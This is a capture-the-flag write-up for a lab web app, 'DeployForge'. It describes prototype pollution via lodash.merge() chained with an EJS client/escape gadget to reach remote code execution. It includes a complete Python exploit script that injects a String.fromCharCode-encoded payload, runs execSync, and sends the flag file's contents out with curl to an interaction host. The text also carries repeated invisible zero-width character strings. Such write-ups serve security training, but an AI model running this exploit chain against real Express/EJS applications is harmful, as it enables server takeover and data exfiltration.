← Back to Writeups
CUSTOMMediumWeb

Lab 240 — DeployForge — Prototype Pollution to RCE via Lodash Merge

XESXOR9/2/20266 min read
#web#custom#medium#ejs_cache_bypass_via_pollution#ejs_client_escape_gadget_chain#honeypot_flag_identification#http_exfiltration_via_execsync#prototype_pollution_via_lodash#string_fromcharcode_quote_bypa

Lab 240 — DeployForge — Prototype Pollution to RCE via Lodash Merge

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: ejs_cache_bypass_via_pollution, ejs_client_escape_gadget_chain, honeypot_flag_identification, http_exfiltration_via_execsync_curl, prototype_pollution_via_lodash_merge, string_fromcharcode_quote_bypass

Summary

Walkthrough of the CUSTOM Web Lab 240 — DeployForge — Prototype Pollution to RCE via Lodash Merge. Task: Express.js deployment platform uses lodash.merge() to deep-merge user JSON settings into config, enabling prototype pollution. Solution: Polluted Object.prototype with EJS client+escape gadget (

Description

DeployForge is a deployment orchestration platform by ForgeStack Inc. It lets teams manage application deployments, environment configurations, and webhooks from a single dashboard. The platform features a settings panel where users can customize their workspace configuration via JSON, webhook integrations for deployment notifications, and API key management for CI/CD pipelines. Your goal is to find and exploit a vulnerability in the application that allows you to execute arbitrary commands on the server and retrieve the flag. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express.js + EJS deployment management platform behind nginx/1.25.5. Users can update workspace settings via a JSON editor that deep-merges input using lodash.merge(). The goal is to achieve RCE and read the flag from the server.

Analysis

Reconnaissance

  • Stack: Express.js + EJS templates + nginx/1.25.5
  • Credentials: user@test.com / password123
  • Key endpoints:
    • POST /login — authentication
    • PUT /api/settings — accepts JSON, deep-merges into config via lodash.merge()
    • GET / — Dashboard (EJS rendered)
    • GET /settings — Settings page with JSON editor
    • GET /settings/webhooks — Webhook management
    • POST /api/webhooks/:id/test — Test webhook (makes HTTP request) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Honeypot Detection

Every page contains FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden <div> elements — a honeypot designed to fool automated scanners and AI agents. This was identified and ignored.

Vulnerability Identification

Prototype Pollution via lodash.merge(): The PUT /api/settings endpoint uses lodash.merge() to deep-merge user-supplied JSON into the server config object. lodash.merge() does not filter __proto__ keys, allowing an attacker to pollute Object.prototype with arbitrary properties that propagate to all objects in the application. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

EJS Gadget Chain (client + escape)

Modern EJS (>= 3.1.7) blocks the classic outputFunctionName/localsName/destructuredLocals gadgets via JavaScript identifier validation. However, the client + escape gadget chain remains viable:

In EJS compile(), when opts.client is true:

javascript
if (opts.client) {
  src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
}

The escapeFn comes from opts.escape. When escape is a string, String.prototype.toString() returns the string itself, which gets injected raw into the compiled template source as executable JavaScript. The compiled template becomes: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

javascript
escapeFn = escapeFn || (() => { RCE_CODE })()//;

The // comments out the trailing semicolon. The IIFE executes during template compilation.

Key Constraints

ConstraintImpactMitigation
EJS caches templates in productionPolluted options ignored for cached templatesPollute cache = false to force recompilation
client=true breaks include()Templates crash with 500 after compilationRCE already executed during compilation — error is irrelevant
Express production modeError details hidden ("Internal Server Error")Cannot use throw Error for exfiltration — use HTTP exfil
new Function() contextrequire() not available directlyUse process.mainModule.require()
Async HTTP (http.get())Flag data may not arrive before process exitsUse execSync("curl ...") for synchronous exfiltration
Quote characters in payloadNested quotes break string injectionUse String.fromCharCode() to construct strings
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Step 1: Login Without Visiting Pages

Critical: do NOT visit any pages before pollution. EJS caches templates on first render — if a template is cached before pollution, cache=false won't help because the cache entry already exists.

python
s = requests.Session()
r = s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)
assert r.status_code == 302

Step 2: Pollute Object.prototype via Settings API

Send a single PUT /api/settings request with __proto__ payload containing all three pollution keys: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • cache: false — forces EJS to recompile templates on every render
  • client: true — activates the code path that injects escapeFn.toString() into compiled source
  • escape: "<IIFE payload>//" — the RCE payload injected as executable JavaScript

Step 3: Trigger Template Render

A simple GET / triggers EJS template compilation with the polluted options. The IIFE in the escape property executes during compilation, running execSync("curl ...") to exfiltrate the flag.

Step 4: Exfiltrate Flag

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The execSync("curl http://interact/UUID/$(cat /flag*)") command reads the flag file and sends it as a URL path component to the interaction server. The flag appears in the request log as GET /FLAG{...}.

Full Exploit Script

python
#!/usr/bin/env python3
"""
DeployForge — Prototype Pollution to RCE via Lodash Merge + EJS client/escape gadget
"""

import requests
import sys
import re
import urllib3
urllib3.disable_warnings()

if len(sys.argv) < 2:
    print("Usage: python3 exploit.py <TARGET_URL>")
    sys.exit(1)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

TARGET = sys.argv[1].rstrip("/")
uuid = TARGET.split("//")[1].split(".")[0]
INTERACT = f"http://interact/{uuid}"

def to_cc(st):
    """Convert string to String.fromCharCode() to avoid quote issues"""
    return 'String.fromCharCode(' + ','.join(str(ord(c)) for c in st) + ')'

s = requests.Session()
s.verify = False

# ── Step 1: Login (no page visits to avoid template caching!) ──
print("[1] Logging in...")
r = s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)
assert r.status_code == 302, f"Login failed: {r.status_code}"
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# ── Step 2: Pollute Object.prototype ──
shell_cmd = f"curl {INTERACT}/$(cat /flag* /root/flag* 2>/dev/null | head -c 100)"

escape_payload = (
    '(()=>{'
    f'var cp=process.mainModule.require({to_cc("child_process")});'
    f'cp.execSync({to_cc(shell_cmd)});'
    'return function(s){return s;};'
    '})()//'
)

print(f"[2] Polluting prototype ({len(escape_payload)} chars)...")
r = s.put(f"{TARGET}/api/settings", json={
    "__proto__": {
        "cache": False,
        "client": True,
        "escape": escape_payload
    }
})
print(f"    Status: {r.status_code}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# ── Step 3: Trigger template render → RCE ──
print("[3] Triggering template render...")
try:
    r = s.get(f"{TARGET}/", timeout=15)
    print(f"    GET /: {r.status_code}")
except Exception as e:
    print(f"    Error (expected): {e}")

print(f"\n[*] Check interaction server logs for flag!")
print(f"    URL: {INTERACT}")

Failed Approaches

  1. outputFunctionName injection — blocked by EJS >= 3.1.7 JavaScript identifier validation
  2. localsName / destructuredLocals injection — same identifier validation
  3. Error-based exfiltration (throw Error) — Express production mode shows only "Internal Server Error"
  4. http.get() with query params — async, flag data arrives as empty string before response completes
  5. Writing to /app/public/ — read-only filesystem (EROFS)
  6. NODE_OPTIONS pollution — no child_process.fork() trigger found in the application
  7. Webhook URL command injection — URL processed by Node.js http module, not shell ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering ejs_cache_bypass_via_pollution, ejs_client_escape_gadget_chain, honeypot_flag_identification, http_exfiltration_via_execsync_curl, prototype_pollution_via_lodash_merge, string_fromcharcode_quote_bypass was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 240 — DeployForge — Prototype Pollution to RCE via Lodash Merge • Difficulty: Medium